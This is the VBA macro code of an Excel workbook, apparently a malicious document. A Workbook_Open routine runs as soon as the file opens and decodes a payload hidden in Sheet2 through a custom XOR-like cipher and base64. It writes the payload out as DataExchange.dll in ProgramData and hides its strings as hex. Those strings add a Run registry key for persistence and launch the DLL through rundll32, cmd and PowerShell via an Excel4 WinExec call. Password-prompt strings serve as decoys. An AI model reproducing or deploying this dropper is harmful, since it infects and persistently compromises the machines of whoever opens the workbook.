Attribute VB_Name = "Module1"
Sub sa()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function SZpmrPBsT(h)
  Dim a: a = Split(h)
  Dim i
  For i = 0 To UBound(a)
      a(i) = Chr("&H" & a(i))
  Next
  h2s = Join(a, "")
  SZpmrPBsT = h2s
End Function

Sub Workbook_Open()
    mykk = "qnZeVsoOpmeN"
    Dim g
    d = "MsgBox ('Invalid User and Passwdord')"
    Dim AC
    For i = 1 To 70
        Celles = "A" + CStr(i)
        A1 = ThisWorkbook.Sheets("Sheet2").Range(Celles).Value
        If A1 = "" Then
            Exit For
        End If
        AC = AC + A1
    Next i
    Dim o
    d = "MsgBox ('Please login')"
    Set Ofile = CreateObject("Scripting.FileSystemObject")
    o = xoAOvMNPSVo(mykk, AC)
    Dim dd
    dd = SZpmrPBsT("43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 44 61 74 61 45 78 63 68 61 6e 67 65 2e 64 6c 6c")
    lkd = hMqirSfTAmm(o)
    Set WText = Ofile.CreateTextFile(dd)
    WText.WriteLine Left(lkd, Len(lkd) - 1)
    WText.Close
    Dim func
    func = SZpmrPBsT("43 41 4c 4c")
    Dim lib
    lib = SZpmrPBsT("4b 65 72 6e 65 6c 33 32")
    Dim ok
    ok = SZpmrPBsT("57 69 6e 45 78 65 63")
    Dim go
    Dim goo
    goo = SZpmrPBsT("52 45 47 20 41 44 44 20 48 4b 43 55 5c 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 20 2f 76 20 41 75 74 6f 53 74 61 72 74 20 2f 74 20 52 45 47 5f 53 5a 20 2f 64 20 22 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 44 61 74 61 45 78 63 68 61 6e 67 65 2e 64 6c 6c 2c 53 74 61 72 74 22")
    Set WText = Ofile.CreateTextFile(SZpmrPBsT("43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 74 74 2e 62 61 74"))
    WText.WriteLine goo
    WText.Close
    Dim lets
    lets = SZpmrPBsT("63 6d 64 2e 65 78 65 20 2f 63 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 74 74 2e 62 61 74")
    Application.ExecuteExcel4Macro Replace(Replace(Replace(Replace("{{}}(""[]"", ""{^}"", ""JCCJ"", ""[*]"", 0)", "{{}}", func), "[]", lib), "{^}", ok), "[*]", lets)
    go = SZpmrPBsT("70 6f 77 65 72 73 68 65 6c 6c 20 53 74 61 72 74 2d 50 72 6f 63 65 73 73 20 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 44 61 74 61 45 78 63 68 61 6e 67 65 2e 64 6c 6c 2c 53 74 61 72 74")
    Application.ExecuteExcel4Macro Replace(Replace(Replace(Replace("{{}}(""[]"", ""{^}"", ""JCCJ"", ""[*]"", 0)", "{{}}", func), "[]", lib), "{^}", ok), "[*]", go)
    d = "MsgBox ('This is a valid password.')"

End Sub

Function xoAOvMNPSVo(yy, msg)
    Dim outre
    Dim intCoun
    a = Split(msg, ",")
    msg_len = UBound(a)
    Dim x
    For x = 0 To msg_len
        key_a = Mid(yy, intCoun + 1, 1)
        If intCoun = Len(yy) Then
            intCoun = 0
            key_a = Mid(yy, intCoun + 1, 1)
        End If
        intCoun = intCoun + 1
        Dim ll
        ll = CInt("&H" & Replace(a(x), "0x", ""))
        fg = ll - (Asc(key_a) + 256) Mod 256
        gdd_a = Chr(fg)
        outre = outre + gdd_a
    Next
    xoAOvMNPSVo = outre
End Function

Function hMqirSfTAmm(ss)
        brt = SZpmrPBsT("41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f")
        Dim stringlen, resOut, grpBegin
        stringlen = Len(ss) - 1
        newstring = Left(ss, stringlen)
        For grpBegin = 1 To stringlen Step 4
               Dim numDataBytes, CharCounter, Oo, Pp, nGcount, pOut
               numDataBytes = 3
               nGcount = 0
               For CharCounter = 0 To 3
                   Oo = Mid(newstring, grpBegin + CharCounter, 1)
                   If Oo = "=" Then
                       numDataBytes = numDataBytes - 1
                        Pp = 0
                    Else
                        Pp = InStr(1, brt, Oo, vbBinaryCompare) - 1
                    End If
                    Dim tr
                    tr = 64 * nGcount
                    nGcount = tr + Pp
                Next
           nGcount = Hex(nGcount)
           Dim ds
           ds = String(6 - Len(nGcount), "0")
           nGcount = ds & nGcount
           Dim po
           po = CByte("&H" & Mid(nGcount, 1, 2))
           pOut = Chr(po)
           pOut = pOut + Chr(CByte("&H" & Mid(nGcount, 3, 2)))
           pOut = pOut + Chr(CByte("&H" & Mid(nGcount, 5, 2)))
           resOut = resOut & Left(pOut, numDataBytes)
       Next
       hMqirSfTAmm = resOut
End Function